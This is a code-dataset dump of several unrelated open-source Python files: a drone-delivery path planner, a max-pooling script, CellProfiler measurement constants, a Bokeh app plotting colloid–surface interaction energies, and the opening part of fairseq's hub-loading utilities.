np.random.randint(grid_lo[1]+buffer, grid_hi[1]-buffer)\n new_loc = np.array([x, y])\n print(new_loc)\n\n if new_loc in depot_locs[:,0:2]:\n # Same location as depot, choose again\n print(\"Depot here\")\n continue\n\n inside = False\n for obs in obstacle_footprints:\n if not inside:\n if new_loc[0]+4 > obs[0][0] and new_loc[0]-4 < obs[1][0] and \\\n new_loc[1]+4 > obs[0][1] and new_loc[1]-4 < obs[1][1]:\n # Inside an obstacle\n print(\"Inside obstacle\")\n inside = True\n break\n\n return np.append(new_loc, 0)\n\ndef update_tasks(pending_jobs, grid_lo, grid_hi, obstacle_footprints, depot_locs):\n prob_new_job = 0.05\n a = np.random.randint(10) # Uniform random int\n if a < 10*prob_new_job: # Implements probability function\n new_loc = pick_location(grid_lo, grid_hi, obstacle_footprints, depot_locs)\n if len(pending_jobs) == 0:\n job_id = 1\n else:\n job_id = pending_jobs[-1][4] + 1\n package_weight = np.random.randint(1,5)/10\n print(\"Package \", package_weight)\n new_job = np.append(np.append(new_loc, package_weight), job_id)\n print(\"Adding new job: \", new_job)\n pending_jobs = np.append(pending_jobs, new_job.reshape([1,5]), axis = 0)\n return pending_jobs\n\ndef assign_paths(drones_list, depot_list, paths_lookup, grid_lo, grid_hi, obs_grid):\n grid_size = grid_hi[0] - grid_lo[0] # Assumes cube grid\n for drone in drones_list:\n if drone.status == 2:\n # Check if the drone is going to a depot\n if drone.pickup_depot is not None and \\\n not np.array_equal(drone.pickup_depot.location, drone.position): # drone is not at its assigned depot\n print(\"Drone ID: \", drone.id, \" not at pickup depot\", drone.pickup_depot.location, drone.position)\n drone.destination = drone.pickup_depot.location\n drone.pickup_depot = None # set to None, since it is being processed\n elif drone.task is not None:\n # Not going to depot, implies task has to be assigned\n drone.destination = drone.task[0:3] # x,y,z location\n drone.weight += drone.task[3] # assign package weight\n print(\"Drone ID: \", drone.id, \" assigned task: \", drone.destination, \" weight: \", drone.weight)\n drone.completed_tasks += 1\n drone.task = None # set to None, since it is being processed\n\n init = tuple(drone.position[0:2])\n target = tuple(drone.destination[0:2])\n print(\"Assigning path, drone ID: \", drone.id, \" Init: \", init,\n \" Target: \", target)\n init_idx = int(init[0] * grid_size + init[1])\n target_idx = int(target[0] * grid_size + target[1])\n #if paths_lookup[init_idx][target_idx] is not None:\n # print(\"Path already exists in lookup\")\n # drone.target_path = paths_lookup[init_idx][target_idx]\n #else:\n A_star_ = AStar(grid_lo, grid_hi, init, target, obs_grid)\n A_star_.solve()\n drone.target_path = A_star_.path\n if drone.target_path is None:\n print(\"Infeasible A-star path for drone ID:\", drone.id)\n return -1\n else:\n # append 2D target path with height = 50 next\n drone.target_path = np.asarray(drone.target_path, dtype = int)\n drone.target_path = np.append(drone.target_path, 50*np.ones([len(drone.target_path),1]), 1)\n # Add final drop off location at height 0 below final point\n actual_dropoff = np.append(drone.target_path[-1][0:2],0)\n actual_dropoff = np.reshape(actual_dropoff, (-1,3))\n drone.target_path = np.append(drone.target_path, actual_dropoff, axis = 0)\n paths_lookup[init_idx][target_idx] = drone.target_path\n drone.status = 3 # in-transit, will be picked up by dynamics\n # tracking index init for dynamics\n drone.tracking_index = 1\n\n return 0\n\ndef check_collisions_offset_path(intransit_drones_list):\n# check if two drones are getting close and offset paths in Z to avoid collision\n# if two drones are very close within 1 unit, return an error\n for i in range(0, len(intransit_drones_list)-1):\n for j in range(i+1, len(intransit_drones_list)):\n drone1 = intransit_drones_list[i]\n drone2 = intransit_drones_list[j]\n dist = np.linalg.norm(drone1.position - drone2.position)\n if dist < 0.4:\n print(\"Error! Drones are too close\")\n return -1\n elif dist < 2: # Buffer for path correction in Z\n # Check which drone is roughly in the lower section of its traj\n print(\"Drone ID: \", drone1.id, \" and ID: \", drone2.id, \" are getting close\")\n drone_to_change = None\n if drone1.tracking_index / len(drone1.target_path) < 0.8:\n drone_to_change = drone1\n elif drone2.tracking_index / len(drone2.target_path) < 0.8:\n drone_to_change = drone2\n update_buffer = 5\n curr_index = drone_to_change.tracking_index\n offset_array = np.zeros([update_buffer, 3])\n offset_array[:,2] += 0.1 # offset by units\n\n ### Comment this out if you see issues\n # drone_to_change.target_path[curr_index:curr_index+update_buffer] += offset_array\n return 1\n return 0\n\n# Previous code for testing simulated assignment\n#for i in range(0, 2):\n# drone = drones_list[i]\n# drone.destination = delivery_locs[i]\n# drone.status = 2\n# depot_idx = depot_locs.tolist().index(drone.position[0:2].tolist())\n# delivery_idx = delivery_locs.tolist().index(drone.destination.tolist())\n# print(depot_idx, delivery_idx)\n# drone.target_path = paths_lookup.a_star_paths_[0].path_list[depot_idx][delivery_idx]\n","repo_name":"ebalogun01/AA203-Project-Wing","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":6554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20190851178","text":"import cv2 \nimport numpy as np \n\ndef maxx(arr):\n result = 0\n for i in arr: \n result = max(result, max(i))\n return result\n\ndef max_pooling(img, kernel_size=2):\n stride = kernel_size\n h = int((img.shape[0] - kernel_size)/stride) + 1\n w = int((img.shape[1] - kernel_size)/stride) + 1\n result = np.zeros(shape=(h,w))\n\n for i in range(0, h):\n for j in range(0, w):\n arr = img[i*stride:i*stride+kernel_size, j*stride:j*stride+kernel_size]\n result[i][j] = maxx(arr)\n return result\n\nimg = cv2.imread('./longvu.png', 0)\nresult = max_pooling(img, 2)\n\ncv2.imshow('Input', img)\ncv2.imshow('Output', result)\ncv2.waitKey(0)\n","repo_name":"erwin24092002/CS231---Computer_Vision","sub_path":"[ASSIGNMENT#03] Max - Average - Median Pooling/max_pooling.py","file_name":"max_pooling.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20454089033","text":"AGG_MEAN = \"Mean\"\nAGG_STD_DEV = \"StDev\"\nAGG_MEDIAN = \"Median\"\nAGG_NAMES = [AGG_MEAN, AGG_MEDIAN, AGG_STD_DEV]\nIMAGE = \"Image\"\nEXPERIMENT = \"Experiment\"\nRELATIONSHIP = \"Relationship\"\nDB_TEMP = \"ExportToDb\"\nNEIGHBORS = \"Neighbors\"\nOBJECT = \"Object\"\ndisallowed_object_names = [IMAGE, EXPERIMENT, RELATIONSHIP]\nCOLTYPE_INTEGER = \"integer\"\nCOLTYPE_FLOAT = \"float\"\nCOLTYPE_BLOB = \"blob\"\nCOLTYPE_MEDIUMBLOB = \"mediumblob\"\nCOLTYPE_LONGBLOB = \"longblob\"\nCOLTYPE_VARCHAR_FORMAT = \"varchar(%d)\"\nCOLTYPE_VARCHAR = \"varchar\"\nPATH_NAME_LENGTH = 256\nFILE_NAME_LENGTH = 128\nCOLTYPE_VARCHAR_FILE_NAME = COLTYPE_VARCHAR_FORMAT % FILE_NAME_LENGTH\nCOLTYPE_VARCHAR_PATH_NAME = COLTYPE_VARCHAR_FORMAT % PATH_NAME_LENGTH\nMCA_AVAILABLE_EACH_CYCLE = \"AvailableEachCycle\"\nMCA_AVAILABLE_POST_GROUP = \"AvailablePostGroup\"\nMCA_AVAILABLE_POST_RUN = \"AvailablePostRun\"\nC_METADATA = \"Metadata\"\nFTR_SITE = \"Site\"\nFTR_WELL = \"Well\"\nFTR_ROW = \"Row\"\nFTR_COLUMN = \"Column\"\nFTR_PLATE = \"Plate\"\nROW_KEYS = (\"wellrow\", \"well_row\", \"row\")\nCOL_KEYS = (\"wellcol\", \"well_col\", \"wellcolumn\", \"well_column\", \"column\", \"col\")\nMEASUREMENTS_GROUP_NAME = \"Measurements\"\nIMAGE_NUMBER = \"ImageNumber\"\nOBJECT_NUMBER = \"ObjectNumber\"\nGROUP_NUMBER = \"Group_Number\" # 1-based group index\nGROUP_INDEX = \"Group_Index\" # 1-based index within group\nGROUP_LENGTH = \"Group_Length\"\nR_FIRST_IMAGE_NUMBER = IMAGE_NUMBER + \"_\" + \"First\"\nR_FIRST_OBJECT_NUMBER = OBJECT_NUMBER + \"_\" + \"First\"\nR_SECOND_IMAGE_NUMBER = IMAGE_NUMBER + \"_\" + \"Second\"\nR_SECOND_OBJECT_NUMBER = OBJECT_NUMBER + \"_\" + \"Second\"\nC_FILE_NAME = \"FileName\"\nC_PATH_NAME = \"PathName\"\nC_URL = \"URL\"\nC_INDEX = \"Index\"\nC_SERIES = \"Series\"\nC_SERIES_NAME = \"SeriesName\"\nC_FRAME = \"Frame\"\nC_FRAMES = \"Frames\"\nC_CHANNEL = \"Channel\"\nC_C = \"C\"\nC_Z = \"Z\"\nC_T = \"T\"\nC_TILE = \"TileXYWH\"\nC_CHANNEL_NAME = \"ChannelName\"\nC_COLOR_FORMAT = \"ColorFormat\"\nC_MONOCHROME = \"monochrome\"\nC_RGB = \"RGB\"\n\nC_OBJECTS_FILE_NAME = \"ObjectsFileName\"\nC_OBJECTS_PATH_NAME = \"ObjectsPathName\"\nC_OBJECTS_URL = \"ObjectsURL\"\nC_OBJECTS_SERIES = \"ObjectsSeries\"\nC_OBJECTS_SERIES_NAME = \"ObjectsSeriesName\"\nC_OBJECTS_FRAME = \"ObjectsFrame\"\nC_OBJECTS_CHANNEL = \"ObjectsChannel\"\nC_OBJECTS_Z = \"ObjectsZPlane\"\nC_OBJECTS_T = \"ObjectsTimepoint\"\nC_CHANNEL_TYPE = \"ChannelType\"\nC_FILE_LOCATION = \"FileLocation\"\nM_METADATA_TAGS = \"_\".join((C_METADATA, \"Tags\"))\nM_GROUPING_TAGS = \"_\".join((C_METADATA, \"GroupingTags\"))\nRESERVED_METADATA_KEYS = (C_URL, C_SERIES, C_SERIES_NAME, C_FRAME, C_FILE_LOCATION,\n C_COLOR_FORMAT, C_CHANNEL_NAME, C_CHANNEL, C_C, C_Z, C_T, C_TILE)\nM_PATH_MAPPINGS = \"Path_Mappings\"\nK_CASE_SENSITIVE = \"CaseSensitive\"\nK_PATH_MAPPINGS = \"PathMappings\"\nK_LOCAL_SEPARATOR = \"LocalSeparator\"\nK_URL2PATHNAME_PACKAGE_NAME = \"Url2PathnamePackageName\"\nF_BATCH_DATA = \"Batch_data.mat\"\nF_BATCH_DATA_H5 = \"Batch_data.h5\"\nC_LOCATION = \"Location\"\nC_NUMBER = \"Number\"\nC_COUNT = \"Count\"\nC_THRESHOLD = \"Threshold\"\nC_PARENT = \"Parent\"\nR_PARENT = \"Parent\"\nC_CHILDREN = \"Children\"\nR_CHILD = \"Child\"\nFTR_CENTER_X = \"Center_X\"\nM_LOCATION_CENTER_X = \"%s_%s\" % (C_LOCATION, FTR_CENTER_X)\nFTR_CENTER_Y = \"Center_Y\"\nM_LOCATION_CENTER_Y = \"%s_%s\" % (C_LOCATION, FTR_CENTER_Y)\nFTR_CENTER_Z = \"Center_Z\"\nM_LOCATION_CENTER_Z = \"%s_%s\" % (C_LOCATION, FTR_CENTER_Z)\nFTR_OBJECT_NUMBER = \"Object_Number\"\nM_NUMBER_OBJECT_NUMBER = \"%s_%s\" % (C_NUMBER, FTR_OBJECT_NUMBER)\nFF_COUNT = \"%s_%%s\" % C_COUNT\nFTR_FINAL_THRESHOLD = \"FinalThreshold\"\nFF_FINAL_THRESHOLD = \"%s_%s_%%s\" % (C_THRESHOLD, FTR_FINAL_THRESHOLD)\nFTR_ORIG_THRESHOLD = \"OrigThreshold\"\nFF_ORIG_THRESHOLD = \"%s_%s_%%s\" % (C_THRESHOLD, FTR_ORIG_THRESHOLD)\nFTR_GUIDE_THRESHOLD = \"GuideThreshold\"\nFF_GUIDE_THRESHOLD = \"%s_%s_%%s\" % (C_THRESHOLD, FTR_GUIDE_THRESHOLD)\nFTR_WEIGHTED_VARIANCE = \"WeightedVariance\"\nFF_WEIGHTED_VARIANCE = \"%s_%s_%%s\" % (C_THRESHOLD, FTR_WEIGHTED_VARIANCE)\nFTR_SUM_OF_ENTROPIES = \"SumOfEntropies\"\nFF_SUM_OF_ENTROPIES = \"%s_%s_%%s\" % (C_THRESHOLD, FTR_SUM_OF_ENTROPIES)\nFF_CHILDREN_COUNT = \"%s_%%s_Count\" % C_CHILDREN\nFF_PARENT = \"%s_%%s\" % C_PARENT\nM_SITE, M_WELL, M_ROW, M_COLUMN, M_PLATE = [\n \"_\".join((C_METADATA, x))\n for x in (FTR_SITE, FTR_WELL, FTR_ROW, FTR_COLUMN, FTR_PLATE)\n]\n","repo_name":"CellProfiler/core","sub_path":"cellprofiler_core/constants/measurement.py","file_name":"measurement.py","file_ext":"py","file_size_in_byte":4142,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"16844539439","text":"from os.path import join, dirname\nimport pandas as pd\n# ignore pandas chained assignment warning\npd.options.mode.chained_assignment = None # default='warn'\n\n# import all header names\nfrom headers import *\n\n#%%\n# import results.csv\nmy_csv = 'results.csv'\nresults = pd.read_csv(join(dirname(__file__), my_csv))\n\n#%%\n# add dimensional units for potentials and particle radius\nresults['Particle potential / mV'] =results[label_with_unit['particle_potential']].round(decimals = 4) * 1000\nresults['Defect potential / mV'] = results[label_with_unit['defect_potential']].round(decimals = 4) * 1000\nresults['Surface potential / mV'] = results[label_with_unit['surface_potential']].round(decimals = 4) * 1000\n\nresults['Colloid radius / nm'] = (results[label_with_unit['colloid_radius']] * 1e9).round(decimals= 1)\n#%%\n# Parameters which are varied\n# 1. colloid height\ncolloid_height_unique = sorted(results[label_with_unit['colloid_height_debye']].unique())\n\n# 2. colloid radius\n# use dimensional nm instead of relative radius to defect length\ncolloid_radius_unique = sorted(results['Colloid radius / nm'].unique())\n#colloid_radius_unique = sorted(results[label_with_unit['rel_radius']].unique())\n\n# 3. conc.\nconc_unique = sorted(results[label_with_unit['conc']].unique())\n\n# 4. V_particle\n# use dimensional mV instead of dimensionless potential\nV_particle_unique = sorted(results['Particle potential / mV'].unique())\n#V_particle_unique = sorted(results[label_with_unit['particle_potential_dless']].unique())\n\n# 5. V_defect\n# use dimensional mV instead of dimensionless potential\nV_defect_unique = sorted(results['Defect potential / mV'].unique())\n#V_defect_unique = sorted(results[label_with_unit['defect_potential_dless']].unique())\n\n# 6. V_surface\n# only extract unique values (4) for defective surface, because there are lot more unique values (21) for normal surface\nresults_def = results[results[label_with_unit['def_density']] != 0]\n# use dimensional mV instead of dimensionless potential\nV_surface_unique = sorted(results_def['Surface potential / mV'].unique())\n#V_surface_unique = sorted(results[label_with_unit['surface_potential_dless']].unique())\n\n# 7. defect density\nDD_unique = sorted(results[label_with_unit['def_density']].unique())\n\n#%%\n# import bokeh packages\nfrom bokeh.layouts import column, row, grid\nfrom bokeh.plotting import figure, output_file, show\nfrom bokeh.models import ColumnDataSource, Div, Select, Slider, HoverTool\nfrom bokeh.palettes import Dark2\nfrom bokeh.io import curdoc\n\n# define the colour palatte for the graphs\n# use Dark2 as the basic palette\ndark2 = list(Dark2[8])\ncolor_p = dark2[:2]\n# navy for normal surface\ncolor_p.append('#00007f')\n# grey for bulk electrolyte\ncolor_p.append(dark2[-1])\n# but we want to use Fel (blue) + vdw (yellow) = TotalE (green)\n# blue\ncolor_p.append('#0066cc')\n# yellow\ncolor_p.append(dark2[5])\n# green\ncolor_p.append(dark2[4])\n\n# Description/Title of the plot\ndefect_radius = 0.5\navg_pot = 0 # will get updated with selected parameters\n\npara_desc = Div(text = '''\n

Parameters:

\n ''')\n\ndefect_desc = Div(text = f'''\n Defect radius (LD) = {defect_radius:.1f} nm \n

\n ''')\n\navg_pot_desc = Div(text = f'''\n Effective potential (surface + defect) (mV) = {avg_pot:.1f}

\n ''')\n \nhamaker_desc = Div(text = f'''\n Hamaker constant (zJ) in water:
\n Au - TiO2: ~ 70-130
\n Au - Au: ~ 90-300
\n TiO2 - TiO2: ~ 50-60\n ''')\n\n# Create Input controls (selectors)\n# sliders might need to rounding off problems...\n# that's why decided to use selector instead, but have to convert between string and float!\n# 1. colloid height\n# 2. colloid radius\n# 3. conc.\n# 4. V_particle\n# 5. V_defect\n# 6. V_surface\n# 7. defect density\n\n# 8. vdw Hamaker constant\ntitle_radius = Div(text=\"$$R$$: Particle radius (nm)\")\nslider_radius = Select(title= \"\", options= [str(num) for num in colloid_radius_unique], value=str(colloid_radius_unique[2]))\n\ntitle_conc = Div(text=\"$$Conc$$: Concentration (mM)\")\nslider_conc = Select(title=\"\", options= [str(num) for num in conc_unique], value=str(conc_unique[-1]))\n\ntitle_particleV = Div(text=\"$$V_{Part}$$: Particle potential (mV)\")\nslider_particleV = Select(title=\"\", options= [str(num) for num in V_particle_unique], value=str(V_particle_unique[0]))\n\ntitle_defectV = Div(text=\"$$V_{Def}$$: Defect potential (mV)\")\nslider_defectV = Select(title=\"\", options= [str(num) for num in V_defect_unique], value=str(V_defect_unique[1]))\n\ntitle_surfaceV = Div(text=\"$$V_{Surf}$$: Surface potential (mV)\")\nslider_surfaceV = Select(title=\"\", options= [str(num) for num in V_surface_unique], value=str(V_surface_unique[0]))\n\ntitle_defect_density = Div(text=\"$$DD$$: Defect density (/)\")\nslider_defect_density = Select(title=\"\", options= [str(num) for num in DD_unique], value=str(DD_unique[2]))\n\ntitle_vdw = Div(text=\"$$A_H$$: Hamaker constant (zJ)\")\nslider_vdw = Slider(title=\"\", start=0, end=200, value=100, step=1)\n#%%\n# Create a \"dummy\"/\"framework\" of the Column Data Source to be plotted later with the selected DataFrame\nconfig = ColumnDataSource(data=dict(height_map=[], \n particle_map=[],\n defect_map=[],\n norm_surf_map =[],\n vol_sum_map=[],\n Fel_map = [],\n vdw_map = [],\n tot_energy_map = []))\n\n# define x and y axis labels\nx_axis = 'Particle-Surface separation (Debye length)'\ny_axis = 'Energy (kT)'\n\n# Set the 'dummy structure' for the plots\n# 1st row : surface and volume contribution\n# Particle surf\ndef particle_p():\n particle_p = figure(height=300)\n particle_p.title.text = \"Particle\"\n particle_p.title.text_color = color_p[0]\n particle_p.title.align = \"center\"\n particle_p.xaxis.axis_label = x_axis\n particle_p.yaxis.axis_label = y_axis\n \n circles = particle_p.circle(x = 'height_map', y = 'particle_map', source = config, size = 4, color=color_p[0])\n line = particle_p.line(x = 'height_map', y = 'particle_map', source = config, color=color_p[0])\n \n hover_tool = HoverTool(tooltips=[\n (y_axis, '$y'),\n ], renderers=[line])\n particle_p.tools.append(hover_tool)\n\n return particle_p\n\n# Defect surf\ndef defect_p():\n defect_p = figure(height=300)\n defect_p.title.text = \"Defects\"\n defect_p.title.text_color = color_p[1]\n defect_p.title.align = \"center\"\n defect_p.xaxis.axis_label = x_axis\n defect_p.yaxis.axis_label = y_axis\n \n circles = defect_p.circle(x = 'height_map', y = 'defect_map', source = config, size = 4, color=color_p[1])\n line = defect_p.line(x = 'height_map', y = 'defect_fit_map', source = config, color=color_p[1])\n \n hover_tool = HoverTool(tooltips=[\n (y_axis, '$y'),\n ], renderers=[line])\n defect_p.tools.append(hover_tool)\n \n return defect_p\n\n# Normal surf\ndef norm_surf_p():\n norm_surf_p = figure(height=300)\n norm_surf_p.title.text = \"Normal surface\"\n norm_surf_p.title.text_color = color_p[2]\n norm_surf_p.title.align = \"center\"\n norm_surf_p.xaxis.axis_label = x_axis\n norm_surf_p.yaxis.axis_label = y_axis\n \n circles = norm_surf_p.circle(x = 'height_map', y = 'norm_surf_map', source = config, size = 4, color=color_p[2])\n line = norm_surf_p.line(x = 'height_map', y = 'norm_surf_fit_map', source = config, color=color_p[2])\n \n hover_tool = HoverTool(tooltips=[\n (y_axis, '$y'),\n ], renderers=[line])\n norm_surf_p.tools.append(hover_tool)\n \n return norm_surf_p\n\n# Krishnan vol\ndef Vol_p():\n Vol_p = figure(height=300)\n Vol_p.title.text = \"Electrolyte volume\"\n Vol_p.title.text_color = color_p[3]\n Vol_p.title.align = \"center\"\n Vol_p.xaxis.axis_label = x_axis\n Vol_p.yaxis.axis_label = y_axis\n \n circles = Vol_p.circle(x = 'height_map', y = 'vol_sum_map', source = config, size = 4, color=color_p[3])\n line = Vol_p.line(x = 'height_map', y = 'vol_sum_map', source = config, color=color_p[3])\n \n hover_tool = HoverTool(tooltips=[\n (y_axis, '$y'),\n ], renderers=[line])\n Vol_p.tools.append(hover_tool) \n \n return Vol_p\n\n\n# 2nd row: Fel and vdw and total free energy\n# Fel electrostatic free energy\ndef Fel_p():\n Fel_p = figure(height=300)\n Fel_p.title.text = \"Electrostatic free energy (Fel)\"\n Fel_p.title.text_color = color_p[4]\n Fel_p.title.align = \"center\"\n Fel_p.xaxis.axis_label = x_axis\n Fel_p.yaxis.axis_label = y_axis\n \n circles = Fel_p.circle(x = 'height_map', y = 'Fel_map', source = config, size = 4, color=color_p[4])\n line = Fel_p.line(x = 'height_map', y = 'Fel_map', source = config, color=color_p[4])\n\n hover_tool = HoverTool(tooltips=[\n (y_axis, '$y'),\n ], renderers=[line])\n Fel_p.tools.append(hover_tool) \n \n return Fel_p\n\n# vdw\ndef vdw():\n vdw = figure(height=300)\n vdw.title.text = \"Van der Waals energy\"\n vdw.title.text_color = color_p[5]\n vdw.title.align = \"center\"\n vdw.xaxis.axis_label = x_axis\n vdw.yaxis.axis_label = y_axis\n \n circles = vdw.circle(x = 'height_map', y = 'vdw_map', source = config, size = 4, color=color_p[5])\n line = vdw.line(x = 'height_map', y = 'vdw_map', source = config, color=color_p[5])\n \n hover_tool = HoverTool(tooltips=[\n (y_axis, '$y'),\n ], renderers=[line])\n vdw.tools.append(hover_tool) \n \n return vdw\n\n\n# total free energy\ndef tot_energy_p():\n tot_energy_p = figure(height=300)\n tot_energy_p.title.text = \"Total energy = Fel + vdw\"\n tot_energy_p.title.text_color = color_p[6]\n tot_energy_p.title.align = \"center\"\n tot_energy_p.xaxis.axis_label = x_axis\n tot_energy_p.yaxis.axis_label = y_axis\n \n circles = tot_energy_p.circle(x = 'height_map', y = 'tot_energy_map', source = config, size = 4, color=color_p[6])\n line = tot_energy_p.line(x = 'height_map', y = 'tot_energy_map', source = config, color=color_p[6])\n\n hover_tool = HoverTool(tooltips=[\n (y_axis, '$y'),\n ], renderers=[line])\n tot_energy_p.tools.append(hover_tool) \n \n return tot_energy_p\n\nl = grid([\n [particle_p(), defect_p(), norm_surf_p(), Vol_p()],\n [Fel_p(), vdw(), tot_energy_p()],\n], sizing_mode='stretch_width')\n\n#show(l)\n\n#%%\n# A function to filter the DataFrame with the specific configurations in question (e.g. particle radius, defect potential)\n# Then use this selected DataFrame to plot and update the graphs\ndef select_parameters():\n \n radius_val = float(slider_radius.value)\n conc_val = float(slider_conc.value)\n particleV_val = float(slider_particleV.value)\n defectV_val = float(slider_defectV.value)\n surfaceV_val = float(slider_surfaceV.value)\n defect_den_val = float(slider_defect_density.value)\n \n hamaker_val = slider_vdw.value\n\n # for cases without defects, Vdefect = 0 and defect density = 0\n # but we also have defective cases when Vdefect = 0, but defect density != 0\n # so if defect density is set to 0, then Vdefect should be automatically set to 0 as well\n # but if Vdefect is set to 0, defect density doesn't have to be 0\n if defect_den_val == DD_unique[0]:\n defectV_val = V_defect_unique[0] \n \n selected_df = results[\\\n (results['Colloid radius / nm'] == radius_val) & \\\n (results[label_with_unit['conc']] == conc_val) & \\\n (results['Particle potential / mV'] == particleV_val) & \\\n (results['Defect potential / mV'] == defectV_val) & \\\n (results['Surface potential / mV'] == surfaceV_val) & \\\n (results[label_with_unit['def_density']] == defect_den_val)]\n\n selected_df = selected_df.sort_values(label_with_unit['colloid_height_debye'])\n \n # average surface potential\n # use dimensional mV instead of dimensionless potential\n avg_pot = selected_df[label_with_unit['average_surface_potential']].iloc[-1] * 1000*thermal_voltage\n \n # vdw = - (hamaker * r) / (6d)\n vdw = - (hamaker_val * 1e-21 * selected_df[label_with_unit['colloid_radius']]) / (6.0 * selected_df[label_with_unit['colloid_height_debye']] * selected_df[label_with_unit['debye']])\n vdw_kT = vdw / (kb*298)\n selected_df['van der Waals energy / kT'] = vdw_kT\n \n # Interaction energy = Fel + vdw\n selected_df['Total intereaction energy / kT']= selected_df[label_with_unit['Fel']] + selected_df['van der Waals energy / kT']\n \n # let's also drop all other irrelevant columns\n # and also rename them to shorter names\n selected_df_drop = selected_df[[label_with_unit['colloid_height_debye'],\n label_with_unit['particle_kT'],\n label_with_unit['defect_kT'],\n label_with_unit['defect_kT_fit'],\n label_with_unit['suf_kT'],\n label_with_unit['suf_kT_fit'],\n label_with_unit['tot_surf_energy'],\n label_with_unit['tot_vol_energy'],\n label_with_unit['Fel'],\n 'van der Waals energy / kT',\n 'Total intereaction energy / kT'\n ]]\n \n selected_df_drop.rename(columns={label_with_unit['colloid_height_debye']: 'height_map',\n label_with_unit['particle_kT']: 'particle_map',\n label_with_unit['defect_kT']: 'defect_map',\n label_with_unit['defect_kT_fit']: 'defect_fit_map',\n label_with_unit['suf_kT']: 'norm_surf_map',\n label_with_unit['suf_kT_fit']: 'norm_surf_fit_map',\n label_with_unit['tot_surf_energy']: 'surf_sum_map',\n label_with_unit['tot_vol_energy']: 'vol_sum_map',\n label_with_unit['Fel']: 'Fel_map',\n 'van der Waals energy / kT': 'vdw_map',\n 'Total intereaction energy / kT': 'tot_energy_map'},\n inplace=True)\n \n return selected_df_drop, avg_pot\n\n\n# An update function to i) filter the DataFrame ii) update the data source to be plotted\ndef update():\n df, avg_pot = select_parameters()\n \n # update graphs\n config.data = dict(\n height_map = df['height_map'], \n particle_map = df['particle_map'],\n defect_map = df['defect_map'],\n defect_fit_map = df['defect_fit_map'],\n norm_surf_map = df['norm_surf_map'],\n norm_surf_fit_map = df['norm_surf_fit_map'],\n surf_sum_map = df['surf_sum_map'],\n vol_sum_map = df['vol_sum_map'],\n Fel_map = df['Fel_map'],\n vdw_map = df['vdw_map'],\n tot_energy_map = df['tot_energy_map'])\n \n # update average potential\n avg_pot_desc.text = f'''\n Effective potential (surface + defect) (mV) = {avg_pot:.1f}

\n '''\n\n#%% \n# Comply all the sliders and plots together \ncontrols = [slider_particleV, slider_surfaceV, slider_defectV, slider_defect_density, slider_conc, slider_radius, slider_vdw]\nfor control in controls:\n control.on_change('value', lambda attr, old, new: update())\n \n \ninputs = column(\n # Parameter\n para_desc, \n # Particle, Surface, Defect potential\n title_particleV, controls[0], title_surfaceV, controls[1], title_defectV, controls[2], avg_pot_desc, \n # DD, Conc, R\n title_defect_density, controls[3], title_conc, controls[4], title_radius, controls[5], defect_desc,\n # Hamaker\n title_vdw, controls[6], hamaker_desc,\n # width\n width=320)\n\n#show(inputs)\n#%%\nplot = row(inputs, l, sizing_mode=\"scale_height\")\n\nupdate() # initial load of the data\n\ncurdoc().add_root(plot)\ncurdoc().title = \"Energy plots\"","repo_name":"kinranlau/COMSOL_colloid_interaction","sub_path":"bokeh-app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29816924648","text":"import argparse\nimport copy\nimport logging\nimport os\nfrom typing import Any, Dict, Iterator, List\n\nimport torch\nfrom omegaconf import open_dict\nfrom torch import nn\n\nfrom fairseq import utils\nfrom fairseq.data import encoders\n\nlogger = logging.getLogger(__name__)\n\n\ndef from_pretrained(\n model_name_or_path,\n checkpoint_file=\"model.pt\",\n data_name_or_path=\".\",\n archive_map=None,\n **kwargs\n):\n from fairseq import checkpoint_utils, file_utils\n\n if archive_map is not None:\n if model_name_or_path in archive_map:\n model_name_or_path = archive_map[model_name_or_path]\n if data_name_or_path is not None and data_name_or_path in archive_map:\n data_name_or_path = archive_map[data_name_or_path]\n\n # allow archive_map to set default arg_overrides (e.g., tokenizer, bpe)\n # for each model\n if isinstance(model_name_or_path, dict):\n for k, v in model_name_or_path.items():\n if k == \"checkpoint_file\":\n checkpoint_file = v\n elif (\n k != \"path\"\n # only set kwargs that don't already have overrides\n and k not in kwargs\n ):\n kwargs[k] = v\n model_name_or_path = model_name_or_path[\"path\"]\n\n model_path = file_utils.load_archive_file(model_name_or_path)\n\n # convenience hack for loading data and BPE codes from model archive\n if data_name_or_path.startswith(\".\"):\n kwargs[\"data\"] = os.path.abspath(os.path.join(model_path, data_name_or_path))\n else:\n kwargs[\"data\"] = file_utils.load_archive_file(data_name_or_path)\n for file, arg in {\n \"code\": \"bpe_codes\",\n \"bpecodes\": \"bpe_codes\",\n \"sentencepiece.bpe.model\": \"sentencepiece_model\",\n \"merges.txt\": \"bpe_merges\",\n \"vocab.json\": \"bpe_vocab\",\n }.items():\n path = os.path.join(model_path, file)\n if os.path.exists(path):\n kwargs[arg] = path\n\n if \"user_dir\" in kwargs:\n utils.import_user_module(argparse.Namespace(user_dir=kwargs[\"user_dir\"]))\n\n model_path = [\n os.path.join(model_path, cpt) for cpt in checkpoint_file.split(os.pathsep)\n ]\n\n if \"is_vocoder\" in kwargs:\n args = {\"data\": kwargs[\"data\"], \"model_path\": model_path}\n task = None\n models = None\n else:\n models, args, task = checkpoint_utils.load_model_ensemble_and_task(\n model_path,\n arg_overrides=kwargs,\n )\n if \"generation_args\" in kwargs and kwargs[\"generation_args\"]:\n for key in kwargs[\"generation_args\"]:\n setattr(args[\"generation\"], key, kwargs[\"generation_args\"][key])\n\n return {\n \"args\": args,\n \"task\": task,\n \"models\": models,\n }\n\n\nclass GeneratorHubInterface(nn.Module):\n \"\"\"\n PyTorch Hub interface for generating sequences from a pre-trained\n translation or language model.\n \"\"\"\n\n def __init__(self, cfg, task, models):\n super().__init__()\n self.cfg = cfg\n self.task = task\n self.models = nn.ModuleList(models)\n self.src_dict = task.source_dictionary\n self.tgt_dict = task.target_dictionary\n\n # optimize model for generation\n for model in self.models:\n model.prepare_for_inference_(cfg)\n\n # Load alignment dictionary for unknown word replacement\n # (None if no unknown word replacement, empty if no path to align dictionary)\n self.align_dict = 